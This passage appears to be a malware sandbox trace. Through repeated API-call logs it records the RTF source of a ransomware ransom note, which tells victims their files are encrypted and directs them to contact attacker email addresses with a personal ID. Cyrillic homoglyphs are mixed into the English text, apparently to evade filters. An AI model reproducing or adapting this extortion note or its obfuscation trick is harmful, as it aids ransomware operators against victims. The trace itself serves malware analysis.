s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0036.270] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t 